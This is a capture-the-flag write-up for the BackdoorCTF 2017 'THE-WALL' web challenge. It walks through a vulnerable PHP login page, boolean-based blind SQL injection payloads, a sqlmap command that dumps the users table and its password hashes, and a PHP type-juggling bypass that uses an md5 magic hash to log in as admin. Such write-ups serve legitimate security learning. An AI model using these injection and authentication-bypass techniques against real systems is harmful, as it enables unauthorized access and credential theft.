Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : BackdoorCTF 2017
- Website : backdoor.sdslabs.co
- Type : Online
- Format : Jeopardy
- CTF Time : link
100 - THE-WALL - Web#
Night king needs the secret flag to destroy the wall. Help night king get flag from LordCommander(admin) so that army of dead can kill the living
Let's see this page: $ curl http://163.172.176.29/WALL/login.html
:
<html>
<head>
<title>The Wall</title>
</head>
<body>
<form action="index.php" method="POST">
Username:<input type="text" name="life" /><br>
Password:<input type="password" name="soul" /><br>
<input type="submit">
</form>
<br>
Here is the sourec of <a href="source.php">index.php</a>
</body>
</html>
We have a simple login form and author of the challenge provides us the source of index.php
.
index.php
:
<html>
<head>
<title>The Wall</title>
</head>
<body>
<?php
include 'flag.php';
if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){
$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];
if(!(is_string($username)&&is_string($password))){
header( "refresh:1;url=login.html");
die("You are not allowed south of wall");
}
$password = md5($password);
include 'connection.php';
/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/
$message = "";
if(preg_match('/(union|\|)/i', $username)){
$message="Dead work alone not in UNIONs"."</br>";
echo $message;
die();
}
$query = "SELECT * FROM users WHERE username='$username'";
$result = $pdo->query($query);
$users = $result->fetchArray(SQLITE3_ASSOC);
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}
echo $message;
}else{
header( "refresh:1;url=login.html");
die("Only living can cross The Wall");
}
?>
</body>
</html>
Of course parameter taken by index.php
are the same as those in the form:
$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];
An important note is that the server compute the md5 of the sent password, so passwords must be stored in md5 in the database.
$password = md5($password);
They are kind enought to provide us the structure of the table:
/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/
But we can see that our input pass trough a filer:
if(preg_match('/(union|\|)/i', $username)){
So we won't be able to use UNION
. (UNI/*X*/ON
, UNI%0bON
, etc... didn't work).
The injectable SQL query is (quite basic):
$query = "SELECT * FROM users WHERE username='$username'";
And finally we have the authentication part:
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}
We know that LordCommander is the admin user and we need his password to get the flag.
As we don't have results displayed but only authentication errors this will be a boolean-based blind SQli a.k.a. error-based blind SQL injection.
We can use HackBar or BurpSuite to send our SQL payload in POST.
A true query like life=LordCommander' AND 1=1-- -&soul=b
will return an error like Wrong identity for : LordCommander
. But a false query like life=LordCommander' AND 1=2-- -&soul=b
will return No such person exists
.
So we can do a blind SQLi bruteforce script like I did during ECW in 2016 for 50 - Authentification - Web or during FIT-HACK CTF 2017 for 150 - Let's login - Web.
But I'm a little lazy tonight so I will use sqlmap to dump the database:
$ sqlmap -u http://163.172.176.29/WALL/index.php --method=POST --data='life=LordCommander&soul=b' -p life --dbms SQLite --os linux --dump
[...]
Database: SQLite_masterdb
Table: users
[3 entries]
+----+--------+---------------+----------------------------------+
| id | role | username | password |
+----+--------+---------------+----------------------------------+
| 1 | normal | JonSnow | 8bed707bb9c0a948fa0c465495fc8014 |
| 2 | admin | LordCommander | 0e565041023046045310587974628079 |
| 3 | normal | Targaryen | 6a1def57895118aed6fd730d0dd84ce3 |
+----+--------+---------------+----------------------------------+
[...]
Using various online md5 cracker and crackstation I managed to crack 6a1def57895118aed6fd730d0dd84ce3
as DragonBlood
in md5 but didn't find anything for the two others.
Targaryen is just a normal user and we need the password of the admin.
The important part is here:
if($password == $users['password']){
This is not a strict equality ===
and we know that PHP have some flaw.
So I used PHP Magic Tricks: Type Juggling.
For Type Juggling:
When comparing a string to a number, PHP will attempt to convert the string to a number then perform a numeric comparison.
- TRUE: "0000" == int(0)
- TRUE: "0e12" == int(0)
- TRUE: "1abc" == int(1)
- TRUE: "0abc" == int(0)
- TRUE: "abc" == int(0)
It gets weirder... If PHP decides that both operands look like numbers, even if they are actually strings, it will convert them both and perform a numeric comparison:
- TRUE: "0e12345" == "0e54321"
- TRUE: "0e12345" <= "1"
- TRUE: "0e12345" == "0"
- TRUE: "0xF" == "15"
Here the equality is between two string so we can't use something like md5('DHINSE') == '0e5600142234d0ede950b3d30d7c7727'
.
This time md5db won't help. What we need here is a md5 hash with only numbers because LordCommander password hash is 0e565041023046045310587974628079
so if we manage to get one both stings will be converted to numbers and PHP will do a numeric comparison.
I found on whitehatsec.com the md5 magic hash (md5('240610708') == '0e462097431906509019562988736854'
). We can log in with 240610708
and get the flag.
Since Backdoor is an always-online CTF platform, and not a one time contest, we kindly request you to not publish flags for the challenges in your writeups.
Bonus: If you searched for 0e565041023046045310587974628079
on google there was only one match: a pastbin containing 0e565041023046045310587974628079:MyWatchIsOver
. But of course this is a troll because (md5('MyWatchIsOver') == '0afa34c220d2abce41debe1bb010d987'
).